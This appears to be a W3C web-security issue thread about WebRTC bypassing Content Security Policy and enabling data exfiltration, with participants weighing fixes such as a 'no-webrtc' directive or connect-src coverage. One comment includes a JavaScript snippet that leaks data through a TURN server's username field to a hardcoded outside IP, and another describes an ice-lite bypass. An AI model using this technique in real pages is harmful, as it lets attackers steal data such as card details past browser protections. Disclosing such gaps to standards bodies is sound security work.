WebRTC can be used for exfiltration

[annevk]

Since it does not go through Fetch, none of the security policies are applied to it. Seems wrong. Not entirely sure where the best general place would be to address this; filing this as a start.

[ekr]

I agree that this isn't ideal.

ISTM that it might be easiest to just have a "no-webrtc" directive, rather than trying to have fine-grained filters.

[mikewest]

1. Conceptually, it seems like this ought to be governed by connect-src.
2. Feature Policy aims to provide an on/off toggle of the form that @ekr suggests; maybe that's enough, if it turns out that back-compat stops us from implementing existing restrictions.

[gorhill]

More and more sites are (ab)using WebRTC to pull data from remote servers through browsers with no obvious way for users to be informed about such connections to remote servers, and no mean to prevent these connections from happening on a per-site basis. I observe that such use is spreading fast. Example:

A no-webrtc directive would solve this.

[Pehrsons]

I'll note that @martinthomson wrote a bit more detailed proposal on the mailing list in 2014, [1]. Would be a pity to lose it.

[1] https://lists.w3.org/Archives/Public/public-webappsec/2014Aug/0162.html

[murillo128]

There is no need to use datachannels at all, you can leak data (at low rate), in the username of the turn server:

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Note that you don't even need to successfully establish the peer connection in order to send it back to the turn server.

I would assume that webrtc should be disabled if connect-src is set (unless we specify a new schema for enabling webrtc)

[steely-glint]

In theory shouldn't be possibe to set up a webRTC connection without communicating with your malicious server to exchange a full Offer-Answer - which would have to go over websockets or fetch - so it should already be in the control of the connect-src policies.

However a combination of a ice-lite in the offer and a creatively non-compliant ICE server means that the Answer phase can be ommited meaning it can bypass connect-src whitelist

It should be sufficient to ban ice-lite on pages with a CSP set.

[murillo128]

@steely-glint It is not even needed to do O/A to leak data, you can use the username/passwords on the iceServers passed to the RTCPeerConnection to leak small amounts of data (enough for encapsulating a cc details) just by creating a RTCPeerConnection and creating an offer as per my snipped in my previous comment.